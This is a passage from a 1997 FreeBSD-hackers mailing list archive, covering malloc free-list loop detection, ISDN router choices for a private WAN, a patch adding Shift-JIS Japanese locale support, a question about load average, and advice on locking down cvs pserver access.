can tell Poul your free() actually gives the memory back to the OS ( at least some of the time ). Perhaps Graham could hack it to *not* give back the memory to the OS ( on those occasions when it would ), and in all cases shred it. Very ungraceful, but depending on the tools available ( or unavailable as in this case ), reasonably effective. Andrew ( opinions mine, not Nortels. ) > > -- > Poul-Henning Kamp FreeBSD coreteam member > phk@FreeBSD.ORG "Real hackers run -current on their laptop." > From owner-freebsd-hackers Thu Sep 18 15:09:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA11396 for hackers-outgoing; Thu, 18 Sep 1997 15:09:40 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA11391 for ; Thu, 18 Sep 1997 15:09:34 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id PAA17437; Thu, 18 Sep 1997 15:07:48 -0700 (MST) From: Terry Lambert Message-Id: <199709182207.PAA17437@usr03.primenet.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: nate@mt.sri.com (Nate Williams) Date: Thu, 18 Sep 1997 22:07:47 +0000 (GMT) Cc: tlambert@primenet.com, nate@mt.sri.com, phk@critter.freebsd.dk, gram@cdsec.com, hackers@freebsd.org In-Reply-To: <199709182146.PAA14637@rocky.mt.sri.com> from "Nate Williams" at Sep 18, 97 03:46:19 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > You could determine that a list is circular by maintaining a count of > > the number of objects that are supposed to be on the freelist. Then > > you count the number of "next" traversals which occur, and when it > > excceeds the count of how many are supposed to be there, then you > > know you have a problem. > > Easy enough. > > > Now you must find the length of the loop. You save the current > > pointer, and traverse until you see it again, counting. This count > > is the length of the loop. > > Naw, you keep track of how many objects are on the list by > incrementing/decrementing when you add/remove objects on the list. > Otherwise, it's much too slow, and adding/subtracting one is a very > minor hit. And, your solution assumes that the loop is indeed circular, > which it may/may not be. Soory, I wasn't clear. Of course you track the number of elements in the list like that. The intent of the second set of tasks is to: 1) Detect the loop during traversal, which is when the hang will occur. 2) Once you detect a loop, spit out the most likely culprits; these are the allocation immediately prior to the loop, the first and second entries in the loop, and the last entry (it's linked to the first). > > If the pointer traverses to itself, this is a simpler case > > In my solution, it's still found, since you have *one* element, and if > yo traverse twice, you're in a circular loop. > > [ Overly complicated solution deleted ] > > Why make it hard when it can be easy? The point is to detect the addresses of the objects which when manipulated resulted in the loop in the first place. Without that information, you;ll only know you have a loop. Big deal, I can tell I have a loop when it hangs in malloc() forever. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 15:12:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA11785 for hackers-outgoing; Thu, 18 Sep 1997 15:12:53 -0700 (PDT) Received: from bmccane.uit.net (bmccane.uit.net [209.83.205.48]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA11779 for ; Thu, 18 Sep 1997 15:12:45 -0700 (PDT) Received: (from root@localhost) by bmccane.uit.net (8.8.7/8.8.5) id OAA26944; Thu, 18 Sep 1997 14:22:17 -0500 (CDT) Date: Thu, 18 Sep 1997 14:22:16 -0500 (CDT) From: Wm Brian McCane To: Luigi Rizzo cc: "Jamil J. Weatherbee" , peter@grendel.IAEhv.nl, hackers@FreeBSD.ORG Subject: Re: ISDN Modems In-Reply-To: <199709181232.OAA09840@labinfo.iet.unipi.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 18 Sep 1997, Luigi Rizzo wrote: > > To be honest with you I thought about this for a few months, If you in the > > US the best solution is something like an Ascend Pipeline 50 router (no > > firewall) ($599), with a crossover (included) to an inexpensive NE2000 > > card ($40). This is about twice as expensive as a Motorola Bitsurfer > > I think in europe as well it is way more convenient to have a router > instead of an internal card. Prices are in fact comparable (I would say > even a little bit lower) to those mentioned above, and going through a > messy serial device driver does not help at all. The simplicity in > setting up things pays back much more than the extra cost. > > Now if ISDN cards were sold in volumes and priced reasonably (i.e. > as much as an NE2000, since they are actually simpler!) and accessed > through a dedicated device driver, then things would certainly be > different. > > Cheers > Luigi Thanks for all the advice. I had come to basically the same decision, and had in fact already priced the routers for this method. The box behind the router will be a P166MMX running as a SKIP/swIPe router, with a firewall as a prophylactic ;). Anyway, I guess my next question, is how hard is it to configure the Pipeline 50's to send RFC 1912(?) addresses. That is 192.168.1.*. I was already going to use the P50 as a router for the WAN I am installing and all our internal addresses are like: 192.168.1.* Main office 192.168.2.* Other site . . 192.168.6.* Last Site I will be placing the SKIP routers at the main and last sites. SKIP/swIPe will encapsulate the data and pass it through the internet to the other end. None of the other sites will even have an internet connection. We intend to allow 1 PC at each site to have the ability to get to the internet via `natd' or something similar through the main or last sites. That PC will sit in the middle of the office space in plain view. All other machines will be blocked from accessing the internet via the firewalls. In case you haven't guessed, my customer feels that the internet is a MAJOR waste of time, and actually recently went through personally looking at his employees computers through NetBEUI to make sure none of them had a web browser installed 8). brian BTW> Am I insane or will my WAN work when I am done? \ / O O ^ \___/ +-------------------------------------+----------------------------------------+ He rides a cycle of mighty days, and \ Wm Brian and Lori McCane he represents the last great schizm \ McCane Consulting among the gods. Evil though he obviously \ root@bmccane.uit.net is, he is a mighty figure, this father of \ http://bmccane.uit.net/ my spirit, and I respect him as the sons \ http://bmccane.uit.net/~pictures/ of old did the fathers of their bodies. \ http://bmccane.uit.net/~bmccane/ Roger Zelazny - "Lord of Light" \ http://bmccane.uit.net/~bbs/ +---------------------------------------------+--------------------------------+ From owner-freebsd-hackers Thu Sep 18 15:51:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA14506 for hackers-outgoing; Thu, 18 Sep 1997 15:51:12 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA14477; Thu, 18 Sep 1997 15:50:54 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id PAA08439; Thu, 18 Sep 1997 15:45:06 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd008434; Thu Sep 18 22:45:03 1997 Message-ID: <3421AEC3.446B9B3D@whistle.com> Date: Thu, 18 Sep 1997 15:44:19 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org CC: ache@freebsd.org Subject: RFC: japanese LOCALE stuff Content-Type: multipart/mixed; boundary="------------59E2B60015FB7483794BDF32" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is a multi-part message in MIME format. --------------59E2B60015FB7483794BDF32 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Here are a set of patches to add some support for SHIFT-JIS japanese support. Can someone who understands all this RUNE stuff better than I do, please look at it. (e.g. Ache) the originals are from: http://www.phaseone.co.jp/4.4bsd.html (this page in Japanese) The SHIFT-JIS support patch for 4.4BSD to get from ftp: ftp://ftp.phaseone.co.jp/pub/phaseone/4.4bsd/ja_JP.SJIS.gz This did not apply cleany, but I've done it as much by hand as I can. I now need a RUNE /LOCALE expert to say whether they are correct. I need to clear up the copyrights on the new files, but otherwise..?? --------------59E2B60015FB7483794BDF32 Content-Type: text/plain; charset=us-ascii; name="alldiffs" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="alldiffs" Index: include/ctype.h =================================================================== RCS file: /cvs/freebsd/src/include/ctype.h,v retrieving revision 1.8 diff -u -r1.8 ctype.h --- 1.8 1996/05/01 00:39:55 +++ ctype.h 1997/09/18 22:20:29 @@ -84,6 +84,7 @@ int isascii __P((int)); int isblank __P((int)); int toascii __P((int)); +int digittoint __P((int)); #endif __END_DECLS @@ -105,9 +106,9 @@ #define isascii(c) (((c) & ~0x7F) == 0) #define isblank(c) __istype((c), _B) #define toascii(c) ((c) & 0x7F) +#define digittoint(c) (__maskrune((c), 0xFF)) /* XXX the following macros are not backed up by functions. */ -#define digittoint(c) __istype((c), 0xFF) #define ishexnumber(c) __istype((c), _X) #define isideogram(c) __istype((c), _I) #define isnumber(c) __istype((c), _D) @@ -166,11 +167,19 @@ _CurrentRuneLocale->maplower[_c]; } +static __inline int +__maskrune(_BSD_RUNE_T_ c, unsigned long f) +{ + return(((c & _CRMASK) + ? ___runetype(c) : _CurrentRuneLocale->runetype[c]) & f); +} + #else /* not using inlines */ __BEGIN_DECLS int __istype __P((_BSD_CT_RUNE_T_, unsigned long)); int __isctype __P((_BSD_CT_RUNE_T_, unsigned long)); +int __maskrune __P((_BSD_CT_RUNE_T_, unsigned long)); _BSD_CT_RUNE_T_ __toupper __P((_BSD_CT_RUNE_T_)); _BSD_CT_RUNE_T_ __tolower __P((_BSD_CT_RUNE_T_)); __END_DECLS Index: lib/libc/locale/Makefile.inc =================================================================== RCS file: /cvs/freebsd/src/lib/libc/locale/Makefile.inc,v retrieving revision 1.8 diff -u -r1.8 Makefile.inc --- 1.8 1997/05/03 03:50:00 +++ Makefile.inc 1997/09/18 22:20:53 @@ -7,7 +7,7 @@ SRCS+= ansi.c ctype.c euc.c frune.c isctype.c lconv.c localeconv.c \ mbrune.c none.c rune.c setlocale.c table.c utf2.c setrunelocale.c \ runetype.c tolower.c toupper.c nomacros.c collate.c setinvalidrune.c \ - collcmp.c + collcmp.c mskanji.c # Only build man pages with libc. .if ${LIB} == "c" Index: lib/libc/locale/isctype.c =================================================================== RCS file: /cvs/freebsd/src/lib/libc/locale/isctype.c,v retrieving revision 1.2 diff -u -r1.2 isctype.c --- 1.2 1995/04/07 11:52:16 +++ isctype.c 1997/09/18 22:20:53 @@ -172,3 +172,11 @@ { return (__toupper(c)); } + +#undef digittoint +int +digittoint(c) + int c; +{ + return (__maskrune((c), 0xFF)); +} Index: lib/libc/locale/setrunelocale.c =================================================================== RCS file: /cvs/freebsd/src/lib/libc/locale/setrunelocale.c,v retrieving revision 1.10 diff -u -r1.10 setrunelocale.c --- 1.10 1997/04/07 08:54:38 +++ setrunelocale.c 1997/09/18 22:20:53 @@ -49,6 +49,7 @@ extern int _EUC_init __P((_RuneLocale *)); extern int _xpg4_setrunelocale __P((char *)); #endif +extern int _MSKanji_init __P((_RuneLocale *)); extern _RuneLocale *_Read_RuneMagi __P((FILE *)); #ifdef XPG4 @@ -124,6 +125,8 @@ } else if (!strcmp(rl->encoding, "EUC")) { return(_EUC_init(rl)); #endif + } else if (!strcmp(rl->encoding, "MSKanji")) { + return(_MSKanji_init(rl)); } else return(EINVAL); } Index: usr.bin/mklocale/data/Makefile =================================================================== RCS file: /cvs/freebsd/src/usr.bin/mklocale/data/Makefile,v retrieving revision 1.9 diff -u -r1.9 Makefile --- 1.9 1997/04/10 15:15:43 +++ Makefile 1997/09/18 22:21:13 @@ -4,6 +4,7 @@ CLEANFILES+= ${LOCALES:S/$/.out/g} LOCALES= ja_JP.EUC \ + ja_JP.SJIS \ ko_KR.EUC \ lt_LN.ASCII \ lt_LN.ISO_8859-1 \ Index: usr/src/lib/libc/locale/mskanji.c *** /dev/null Sun Aug 27 12:17:53 1995 --- /usr/src/lib/libc/locale/mskanji.c Sun Aug 27 16:09:54 1995 *************** *** 0 **** --- 1,78 ---- + /* + * mskanji.c - locale ja_JP.SJIS support + * Copyright (c) 1995 + * Sin'ichiro MIYATANI Phase One Inc. All rights reserved. + */ + + #if defined(LIBC_SCCS) && !defined(lint) + static char sccsid[] = "@(#)mskanji.c 1.0 (Phase One) 5/5/95"; + #endif /* LIBC_SCCS and not lint */ + + #include + + #include + #include + #include + #include + #include + + rune_t _MSKanji_sgetrune __P((const char *, size_t, char const **)); + int _MSKanji_sputrune __P((rune_t, char *, size_t, char **)); + + int + _MSKanji_init(rl) + _RuneLocale *rl; + { + rl->sgetrune = _MSKanji_sgetrune; + rl->sputrune = _MSKanji_sputrune; + + _CurrentRuneLocale = rl; + __mb_cur_max = 2; + return (0); + } + + rune_t + _MSKanji_sgetrune(string, n, result) + const char *string; + size_t n; + char const **result; + { + rune_t rune = 0; + + if (n < 1 ) { + rune = _INVALID_RUNE; + } else { + rune = *( string++ ) & 0xff; + if ( ( rune > 0x80 && rune < 0xa0 ) + || ( rune >= 0xe0 && rune < 0xfa ) ) { + if ( n < 2 ) { + rune = (rune_t)_INVALID_RUNE; + --string; + } else { + rune = ( rune << 8 ) | ( *( string++ ) & 0xff ); + } + } + } + if (result) *result = string; + return rune; + } + + int + _MSKanji_sputrune(c, string, n, result) + rune_t c; + char *string, **result; + size_t n; + { + int len, i; + + len = ( c > 0x100 ) ? 2 : 1; + if ( n < len ) { + if ( result ) *result = (char *) 0; + } else { + if ( result ) *result = string + len; + for ( i = len; i-- > 0; ) { + *( string++ ) = c >> ( i << 3 ); + } + } + return len; + } Index: usr.bin/mklocale/data/ja_JP.SJIS.src *** /dev/null Sun Aug 27 12:17:53 1995 --- /usr/src/usr.bin/mklocale/data/ja_JP.SJIS.src Sun Aug 27 16:07:46 1995 *************** *** 0 **** --- 1,249 ---- + /* + * ja_JP.SJIS locale table for BSD4.4/rune + * version 1.0 + * (C) Sin'ichiro MIYATANI / Phase One, Inc + * May 12, 1995 + */ + + ENCODING "MSKanji" + + /* + * ASCII byte code + */ + ALPHA 'A'-'Z' 'a'-'z' + CONTROL 0x00-0x1f 0x7f + DIGIT '0'-'9' + GRAPH 0x21-0x7e + LOWER 'a'-'z' + PUNCT 0x21-0x2f 0x3a-0x40 0x5b-0x60 0x7b-0x7e + SPACE 0x09-0x0d 0x20 + UPPER 'A'-'Z' + XDIGIT 'a'-'f' 'A'-'F' + BLANK ' ' '\t' + PRINT 0x20-0x7e + SWIDTH1 0x20-0x7e + + MAPLOWER <'A'-'Z':'a'><'a'-'z':'a'> + MAPUPPER <'A'-'Z':'A'><'a'-'z':'A'> + TODIGIT <'0'-'9':0> + TODIGIT <'A'-'F':10><'a'-'f':10> + + /* + * JIS X201 + */ + PUNCT 0xa1-0xa5 + SPACE 0xa0 + BLANK 0xa0 + PRINT 0xa0-0xdf + SPECIAL 0xa1-0xdf + PHONOGRAM 0xa6-0xdf + SWIDTH1 0xa0-0xdf + + /* + * JIS X208/SJIS + */ + /* 100 */ + PUNCT 0x8141-0x8151 0x8159-0x815a 0x815c-0x817e 0x8180-0x819e + SPACE 0x8140 + PHONOGRAM 0x8152-0x8158 0x815b + + /* 200 */ + PUNCT 0x819f-0x81ac 0x81b8-0x81bf 0x81c8-0x81ce 0x81da-0x81e8 + PUNCT 0x81f0-0x81f7 0x81fc + + /* 300 */ + DIGIT 0x824f-0x8258 + XDIGIT 0x8260-0x8265 0x8281-0x8286 + ALPHA 0x8260-0x8279 0x8281-0x829a + UPPER 0x8260-0x8279 + LOWER 0x8281-0x829a + + MAPLOWER <0x8260-0x8279:0x8281> + MAPLOWER <0x8281-0x829a:0x8281> + MAPUPPER <0x8260-0x8279:0x8260> + MAPUPPER <0x8281-0x829a:0x8260> + TODIGIT <0x824f-0x8258:0> + TODIGIT <0x8260-0x8265:10> + TODIGIT <0x8281-0x8286:10> + + /* 400 */ + PHONOGRAM 0x829f-0x82f1 + + /* 500 */ + PHONOGRAM 0x8340-0x837e + PHONOGRAM 0x8380-0x8396 + + /* 600 */ + UPPER 0x839f-0x83b6 + LOWER 0x83bf-0x83d6 + MAPLOWER <0x839f-0x83b6:0x83bf> + MAPLOWER <0x83bf-0x83d6:0x83bf> + MAPUPPER <0x839f-0x83b6:0x839f> + MAPUPPER <0x83bf-0x83d6:0x839f> + + /* 700 */ + UPPER 0x8440-0x8460 + LOWER 0x8470-0x847e 0x8480-0x8491 + MAPLOWER <0x8440-0x844e:0x8470><0x844f-0x8460:0x8480> + MAPLOWER <0x8470-0x847e:0x8470><0x8480-0x8491:0x8480> + MAPUPPER <0x8440-0x8460:0x8440> + MAPUPPER <0x8470-0x847e:0x8440><0x8480-0x8491:0x844f> + + /* 800 */ + SPECIAL 0x849f-0x84be + + SWIDTH2 0x8140-0x817e 0x8180-0x819e /* 100 */ + SWIDTH2 0x819f-0x81ac 0x81b8-0x81bf /* 200 */ + SWIDTH2 0x81c8-0x81ce 0x81da-0x81e8 + SWIDTH2 0x81f0-0x81f7 0x81fc + SWIDTH2 0x824f-0x8258 0x8260-0x8279 /* 300 */ + SWIDTH2 0x8281-0x829a + SWIDTH2 0x829f-0x82f1 /* 400 */ + SWIDTH2 0x8340-0x837e /* 500 */ + SWIDTH2 0x8380-0x8396 + SWIDTH2 0x839f-0x83b6 /* 600 */ + SWIDTH2 0x83bf-0x83d6 + SWIDTH2 0x8440-0x8460 /* 700 */ + SWIDTH2 0x8470-0x847e 0x8480-0x8491 + SWIDTH2 0x849f-0x84be /* 800 */ + + /* 1600- */ + IDEOGRAM 0x889f-0x88fc /* 1600 */ + IDEOGRAM 0x8940-0x897e 0x8980-0x899e /* 1700 */ + IDEOGRAM 0x899f-0x89fc /* 1800 */ + IDEOGRAM 0x8a40-0x8a7e 0x8a80-0x8a9e /* 1900 */ + IDEOGRAM 0x8a9f-0x8afc /* 2000 */ + IDEOGRAM 0x8b40-0x8b7e 0x8b80-0x8b9e /* 2100 */ + IDEOGRAM 0x8b9f-0x8bfc /* 2200 */ + IDEOGRAM 0x8c40-0x8c7e 0x8c80-0x8c9e /* 2300 */ + IDEOGRAM 0x8c9f-0x8cfc /* 2400 */ + IDEOGRAM 0x8d40-0x8d7e 0x8d80-0x8d9e /* 2500 */ + IDEOGRAM 0x8d9f-0x8dfc /* 2600 */ + IDEOGRAM 0x8e40-0x8e7e 0x8e80-0x8e9e /* 2700 */ + IDEOGRAM 0x8e9f-0x8efc /* 2800 */ + IDEOGRAM 0x8f40-0x8f7e 0x8f80-0x8f9e /* 2900 */ + IDEOGRAM 0x8f9f-0x8ffc /* 3000 */ + IDEOGRAM 0x9040-0x907e 0x9080-0x909e /* 3100 */ + IDEOGRAM 0x909f-0x90fc /* 3200 */ + IDEOGRAM 0x9140-0x917e 0x9180-0x919e /* 3300 */ + IDEOGRAM 0x919f-0x91fc /* 3400 */ + IDEOGRAM 0x9240-0x927e 0x9280-0x929e /* 3500 */ + IDEOGRAM 0x929f-0x92fc /* 3600 */ + IDEOGRAM 0x9340-0x937e 0x9380-0x939e /* 3700 */ + IDEOGRAM 0x939f-0x93fc /* 3800 */ + IDEOGRAM 0x9440-0x947e 0x9480-0x949e /* 3900 */ + IDEOGRAM 0x949f-0x94fc /* 4000 */ + IDEOGRAM 0x9540-0x957e 0x9580-0x959e /* 4100 */ + IDEOGRAM 0x959f-0x95fc /* 4200 */ + IDEOGRAM 0x9640-0x967e 0x9680-0x969e /* 4300 */ + IDEOGRAM 0x969f-0x96fc /* 4400 */ + IDEOGRAM 0x9740-0x977e 0x9780-0x979e /* 4500 */ + IDEOGRAM 0x979f-0x97fc /* 4600 */ + IDEOGRAM 0x9840-0x987e 0x9880-0x989e /* 4700 */ + IDEOGRAM 0x989f-0x98fc /* 4800 */ + IDEOGRAM 0x9940-0x997e 0x9980-0x999e /* 4900 */ + IDEOGRAM 0x999f-0x99fc /* 5000 */ + IDEOGRAM 0x9a40-0x9a7e 0x9a80-0x9a9e /* 5100 */ + IDEOGRAM 0x9a9f-0x9afc /* 5200 */ + IDEOGRAM 0x9b40-0x9b7e 0x9b80-0x9b9e /* 5300 */ + IDEOGRAM 0x9b9f-0x9bfc /* 5400 */ + IDEOGRAM 0x9c40-0x9c7e 0x9c80-0x9c9e /* 5500 */ + IDEOGRAM 0x9c9f-0x9cfc /* 5600 */ + IDEOGRAM 0x9d40-0x9d7e 0x9d80-0x9d9e /* 5700 */ + IDEOGRAM 0x9d9f-0x9dfc /* 5800 */ + IDEOGRAM 0x9e40-0x9e7e 0x9e80-0x9e9e /* 5900 */ + IDEOGRAM 0x9e9f-0x9efc /* 6000 */ + IDEOGRAM 0x9f40-0x9f7e 0x9f80-0x9f9e /* 6100 */ + IDEOGRAM 0x9f9f-0x9ffc /* 6200 */ + IDEOGRAM 0xe040-0xe07e 0xe080-0xe09e /* 6300 */ + IDEOGRAM 0xe09f-0xe0fc /* 6400 */ + IDEOGRAM 0xe140-0xe17e 0xe180-0xe19e /* 6500 */ + IDEOGRAM 0xe19f-0xe1fc /* 6600 */ + IDEOGRAM 0xe240-0xe27e 0xe280-0xe29e /* 6700 */ + IDEOGRAM 0xe29f-0xe2fc /* 6800 */ + IDEOGRAM 0xe340-0xe37e 0xe380-0xe39e /* 6900 */ + IDEOGRAM 0xe39f-0xe3fc /* 7000 */ + IDEOGRAM 0xe440-0xe47e 0xe480-0xe49e /* 7100 */ + IDEOGRAM 0xe49f-0xe4fc /* 7200 */ + IDEOGRAM 0xe540-0xe57e 0xe580-0xe59e /* 7300 */ + IDEOGRAM 0xe59f-0xe5fc /* 7400 */ + IDEOGRAM 0xe640-0xe67e 0xe680-0xe69e /* 7500 */ + IDEOGRAM 0xe69f-0xe6fc /* 7600 */ + IDEOGRAM 0xe740-0xe77e 0xe780-0xe79e /* 7700 */ + IDEOGRAM 0xe79f-0xe7fc /* 7800 */ + IDEOGRAM 0xe840-0xe87e 0xe880-0xe89e /* 7900 */ + IDEOGRAM 0xe89f-0xe8fc /* 8000 */ + IDEOGRAM 0xe940-0xe97e 0xe980-0xe99e /* 8100 */ + IDEOGRAM 0xe99f-0xe9fc /* 8200 */ + IDEOGRAM 0xea40-0xea7e 0xea80-0xea9e /* 8300 */ + IDEOGRAM 0xea9f-0xeaa4 /* 8400 */ + + SWIDTH2 0x889f-0x88fc /* 1600 */ + SWIDTH2 0x8940-0x897e 0x8980-0x899e /* 1700 */ + SWIDTH2 0x899f-0x89fc /* 1800 */ + SWIDTH2 0x8a40-0x8a7e 0x8a80-0x8a9e /* 1900 */ + SWIDTH2 0x8a9f-0x8afc /* 2000 */ + SWIDTH2 0x8b40-0x8b7e 0x8b80-0x8b9e /* 2100 */ + SWIDTH2 0x8b9f-0x8bfc /* 2200 */ + SWIDTH2 0x8c40-0x8c7e 0x8c80-0x8c9e /* 2300 */ + SWIDTH2 0x8c9f-0x8cfc /* 2400 */ + SWIDTH2 0x8d40-0x8d7e 0x8d80-0x8d9e /* 2500 */ + SWIDTH2 0x8d9f-0x8dfc /* 2600 */ + SWIDTH2 0x8e40-0x8e7e 0x8e80-0x8e9e /* 2700 */ + SWIDTH2 0x8e9f-0x8efc /* 2800 */ + SWIDTH2 0x8f40-0x8f7e 0x8f80-0x8f9e /* 2900 */ + SWIDTH2 0x8f9f-0x8ffc /* 3000 */ + SWIDTH2 0x9040-0x907e 0x9080-0x909e /* 3100 */ + SWIDTH2 0x909f-0x90fc /* 3200 */ + SWIDTH2 0x9140-0x917e 0x9180-0x919e /* 3300 */ + SWIDTH2 0x919f-0x91fc /* 3400 */ + SWIDTH2 0x9240-0x927e 0x9280-0x929e /* 3500 */ + SWIDTH2 0x929f-0x92fc /* 3600 */ + SWIDTH2 0x9340-0x937e 0x9380-0x939e /* 3700 */ + SWIDTH2 0x939f-0x93fc /* 3800 */ + SWIDTH2 0x9440-0x947e 0x9480-0x949e /* 3900 */ + SWIDTH2 0x949f-0x94fc /* 4000 */ + SWIDTH2 0x9540-0x957e 0x9580-0x959e /* 4100 */ + SWIDTH2 0x959f-0x95fc /* 4200 */ + SWIDTH2 0x9640-0x967e 0x9680-0x969e /* 4300 */ + SWIDTH2 0x969f-0x96fc /* 4400 */ + SWIDTH2 0x9740-0x977e 0x9780-0x979e /* 4500 */ + SWIDTH2 0x979f-0x97fc /* 4600 */ + SWIDTH2 0x9840-0x987e 0x9880-0x989e /* 4700 */ + SWIDTH2 0x989f-0x98fc /* 4800 */ + SWIDTH2 0x9940-0x997e 0x9980-0x999e /* 4900 */ + SWIDTH2 0x999f-0x99fc /* 5000 */ + SWIDTH2 0x9a40-0x9a7e 0x9a80-0x9a9e /* 5100 */ + SWIDTH2 0x9a9f-0x9afc /* 5200 */ + SWIDTH2 0x9b40-0x9b7e 0x9b80-0x9b9e /* 5300 */ + SWIDTH2 0x9b9f-0x9bfc /* 5400 */ + SWIDTH2 0x9c40-0x9c7e 0x9c80-0x9c9e /* 5500 */ + SWIDTH2 0x9c9f-0x9cfc /* 5600 */ + SWIDTH2 0x9d40-0x9d7e 0x9d80-0x9d9e /* 5700 */ + SWIDTH2 0x9d9f-0x9dfc /* 5800 */ + SWIDTH2 0x9e40-0x9e7e 0x9e80-0x9e9e /* 5900 */ + SWIDTH2 0x9e9f-0x9efc /* 6000 */ + SWIDTH2 0x9f40-0x9f7e 0x9f80-0x9f9e /* 6100 */ + SWIDTH2 0x9f9f-0x9ffc /* 6200 */ + SWIDTH2 0xe040-0xe07e 0xe080-0xe09e /* 6300 */ + SWIDTH2 0xe09f-0xe0fc /* 6400 */ + SWIDTH2 0xe140-0xe17e 0xe180-0xe19e /* 6500 */ + SWIDTH2 0xe19f-0xe1fc /* 6600 */ + SWIDTH2 0xe240-0xe27e 0xe280-0xe29e /* 6700 */ + SWIDTH2 0xe29f-0xe2fc /* 6800 */ + SWIDTH2 0xe340-0xe37e 0xe380-0xe39e /* 6900 */ + SWIDTH2 0xe39f-0xe3fc /* 7000 */ + SWIDTH2 0xe440-0xe47e 0xe480-0xe49e /* 7100 */ + SWIDTH2 0xe49f-0xe4fc /* 7200 */ + SWIDTH2 0xe540-0xe57e 0xe580-0xe59e /* 7300 */ + SWIDTH2 0xe59f-0xe5fc /* 7400 */ + SWIDTH2 0xe640-0xe67e 0xe680-0xe69e /* 7500 */ + SWIDTH2 0xe69f-0xe6fc /* 7600 */ + SWIDTH2 0xe740-0xe77e 0xe780-0xe79e /* 7700 */ + SWIDTH2 0xe79f-0xe7fc /* 7800 */ + SWIDTH2 0xe840-0xe87e 0xe880-0xe89e /* 7900 */ + SWIDTH2 0xe89f-0xe8fc /* 8000 */ + SWIDTH2 0xe940-0xe97e 0xe980-0xe99e /* 8100 */ + SWIDTH2 0xe99f-0xe9fc /* 8200 */ + SWIDTH2 0xea40-0xea7e 0xea80-0xea9e /* 8300 */ + SWIDTH2 0xea9f-0xeaa4 /* 8400 */ --------------59E2B60015FB7483794BDF32-- From owner-freebsd-hackers Thu Sep 18 16:11:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA16288 for hackers-outgoing; Thu, 18 Sep 1997 16:11:03 -0700 (PDT) Received: from monk.via.net (monk.via.net [140.174.204.10]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA16282 for ; Thu, 18 Sep 1997 16:11:00 -0700 (PDT) Received: (from joe@localhost) by monk.via.net (8.6.11/8.6.12) id QAA23977 for freebsd-hackers@FreeBSD.ORG; Thu, 18 Sep 1997 16:01:09 -0700 Date: Thu, 18 Sep 1997 16:01:09 -0700 From: Joe McGuckin Message-Id: <199709182301.QAA23977@monk.via.net> To: freebsd-hackers@FreeBSD.ORG Subject: What does 'load' actually measure? X-Sun-Charset: US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Number of processes waiting in run queue? joe From owner-freebsd-hackers Thu Sep 18 16:31:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA17492 for hackers-outgoing; Thu, 18 Sep 1997 16:31:23 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA17486 for ; Thu, 18 Sep 1997 16:31:18 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id BAA07105; Fri, 19 Sep 1997 01:30:57 +0200 (MET DST) Date: Fri, 19 Sep 1997 01:30:57 +0200 (MET DST) Message-Id: <199709182330.BAA07105@bitbox.follo.net> From: Eivind Eklund To: itojun@itojun.org CC: marcs@znep.com, hackers@FreeBSD.ORG In-reply-to: itojun@itojun.org's message of Wed, 17 Sep 1997 15:28:22 +0900 Subject: Re: cvs pserver mode References: <19600.874477702@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > >> does any of you have trouble using pserver mode of cvs? > >First, don't use pserver. It sucks. Badly. It stores unencrypted > >passwords on the clients disk and anyone with a shell on the server an > >steal connections (and hence passwords) from users connecting. Bad. > >Secondly, you need the --allow-root option to tell it what repositories to > >use. This is new in 1.9.10 or something like that. > > [option list deleted] > - give an account (say, "mygroup") to them and use rsh/ssh I consider this the only sensible thing. Give them an account with the shell pointing at a text file containing #!/bin/sh /usr/bin/cvs server and set permissions so they can't write to the cvs repository. Little security risk (except that they can exploit bugs in cvs) - even less if you go for a chrooted environment (which will probably need some hacking to get set up) Eivind. From owner-freebsd-hackers Thu Sep 18 16:44:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA18154 for hackers-outgoing; Thu, 18 Sep 1997 16:44:41 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA18147 for ; Thu, 18 Sep 1997 16:44:37 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id RAA10837; Thu, 18 Sep 1997 17:40:44 -0600 